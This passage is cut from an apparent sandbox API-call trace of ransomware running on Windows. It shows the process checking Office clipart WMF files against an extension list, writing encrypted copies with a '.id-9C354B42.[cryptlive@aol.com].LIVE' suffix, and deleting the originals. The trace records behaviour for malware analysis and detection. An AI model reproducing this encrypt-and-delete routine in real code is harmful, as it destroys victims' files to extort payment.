Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString=".1cd") returned 4 [0158.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString=".jpg") returned 4 [0158.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.654] lstrlenW (lpString=".doc") returned 4 [0158.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString=".docx") returned 5 [0158.654] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.654] lstrlenW (lpString=".pdf") returned 4 [0158.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString=".xls") returned 4 [0158.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.654] lstrlenW (lpString=".xlsx") returned 5 [0158.654] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.654] lstrlenW (lpString=".ppt") returned 4 [0158.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.654] lstrlenW (lpString=".zip") returned 4 [0158.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.654] lstrlenW (lpString=".rar") returned 4 [0158.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString=".bz2") returned 4 [0158.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString=".7z") returned 3 [0158.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.654] lstrlenW (lpString=".dbf") returned 4 [0158.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.654] lstrlenW (lpString=".1cd") returned 4 [0158.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0158.654] lstrlenW (lpString=".jpg") returned 4 [0158.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.654] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.654] lstrlenW (lpString="J0152432.WMF") returned 12 [0158.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.655] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=16492) returned 1 [0158.655] CloseHandle (hObject=0x1dc) returned 1 [0158.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0158.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.656] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.656] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.656] GetLastError () returned 0x0 [0158.656] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x406c, lpOverlapped=0x0) returned 1 [0158.669] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4070, lpOverlapped=0x0) returned 1 [0158.670] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.670] SetEndOfFile (hFile=0x380) returned 1 [0158.671] CloseHandle (hObject=0x380) returned 1 [0158.671] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.671] SetEndOfFile (hFile=0x1dc) returned 1 [0158.673] CloseHandle (hObject=0x1dc) returned 1 [0158.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.674] lstrlenW (lpString=".doc") returned 4 [0158.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".docx") returned 5 [0158.674] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.674] lstrlenW (lpString=".pdf") returned 4 [0158.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".xls") returned 4 [0158.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.674] lstrlenW (lpString=".xlsx") returned 5 [0158.674] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.674] lstrlenW (lpString=".ppt") returned 4 [0158.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.674] lstrlenW (lpString=".zip") returned 4 [0158.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.674] lstrlenW (lpString=".rar") returned 4 [0158.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".bz2") returned 4 [0158.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".7z") returned 3 [0158.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".dbf") returned 4 [0158.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".1cd") returned 4 [0158.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".jpg") returned 4 [0158.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".doc") returned 4 [0158.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString=".docx") returned 5 [0158.675] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.675] lstrlenW (lpString=".pdf") returned 4 [0158.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString=".xls") returned 4 [0158.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.675] lstrlenW (lpString=".xlsx") returned 5 [0158.675] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.675] lstrlenW (lpString=".ppt") returned 4 [0158.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".zip") returned 4 [0158.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.675] lstrlenW (lpString=".rar") returned 4 [0158.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString=".bz2") returned 4 [0158.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.675] lstrlenW (lpString=".7z") returned 3 [0158.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.675] lstrlenW (lpString=".dbf") returned 4 [0158.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.676] lstrlenW (lpString=".1cd") returned 4 [0158.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0158.676] lstrlenW (lpString=".jpg") returned 4 [0158.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.676] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.676] lstrlenW (lpString="J0152436.WMF") returned 12 [0158.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.676] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11340) returned 1 [0158.676] CloseHandle (hObject=0x1dc) returned 1 [0158.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0158.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.677] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.677] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.678] GetLastError () returned 0x0 [0158.678] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2c4c, lpOverlapped=0x0) returned 1 [0158.852] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2c50, lpOverlapped=0x0) returned 1 [0158.853] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.853] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.853] SetEndOfFile (hFile=0x380) returned 1 [0158.853] CloseHandle (hObject=0x380) returned 1 [0158.853] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.853] SetEndOfFile (hFile=0x1dc) returned 1 [0158.855] CloseHandle (hObject=0x1dc) returned 1 [0158.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".doc") returned 4 [0158.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString=".docx") returned 5 [0158.972] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0158.972] lstrlenW (lpString=".pdf") returned 4 [0158.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString=".xls") returned 4 [0158.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.972] lstrlenW (lpString=".xlsx") returned 5 [0158.972] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0158.972] lstrlenW (lpString=".ppt") returned 4 [0158.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".zip") returned 4 [0158.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.972] lstrlenW (lpString=".rar") returned 4 [0158.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString=".bz2") returned 4 [0158.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString=".7z") returned 3 [0158.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".dbf") returned 4 [0158.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".1cd") returned 4 [0158.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".jpg") returned 4 [0158.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.972] lstrlenW (lpString=".doc") returned 4 [0158.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString=".docx") returned 5 [0158.973] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0158.973] lstrlenW (lpString=".pdf") returned 4 [0158.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString=".xls") returned 4 [0158.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.973] lstrlenW (lpString=".xlsx") returned 5 [0158.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0158.973] lstrlenW (lpString=".ppt") returned 4 [0158.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.973] lstrlenW (lpString=".zip") returned 4 [0158.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.973] lstrlenW (lpString=".rar") returned 4 [0158.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString=".bz2") returned 4 [0158.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString=".7z") returned 3 [0158.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.973] lstrlenW (lpString=".dbf") returned 4 [0158.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.973] lstrlenW (lpString=".1cd") returned 4 [0158.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0158.973] lstrlenW (lpString=".jpg") returned 4 [0158.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.973] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.973] lstrlenW (lpString="J0152590.WMF") returned 12 [0158.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.974] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10932) returned 1 [0158.974] CloseHandle (hObject=0x1e0) returned 1 [0158.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0158.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.975] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.975] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.976] GetLastError () returned 0x0 [0158.976] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0158.986] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2ac0, lpOverlapped=0x0) returned 1 [0158.987] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.987] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.987] SetEndOfFile (hFile=0x1dc) returned 1 [0158.987] CloseHandle (hObject=0x1dc) returned 1 [0158.987] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.987] SetEndOfFile (hFile=0x1e0) returned 1 [0158.989] CloseHandle (hObject=0x1e0) returned 1 [0158.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.013] lstrlenW (lpString=".doc") returned 4 [0159.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".docx") returned 5 [0159.013] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.013] lstrlenW (lpString=".pdf") returned 4 [0159.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.013] lstrlenW (lpString=".xls") returned 4 [0159.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.013] lstrlenW (lpString=".xlsx") returned 5 [0159.013] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.013] lstrlenW (lpString=".ppt") returned 4 [0159.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString=".zip") returned 4 [0159.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.014] lstrlenW (lpString=".rar") returned 4 [0159.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".bz2") returned 4 [0159.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString=".7z") returned 3 [0159.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString=".dbf") returned 4 [0159.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString=".1cd") returned 4 [0159.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString=".jpg") returned 4 [0159.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.014] lstrlenW (lpString=".doc") returned 4 [0159.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned 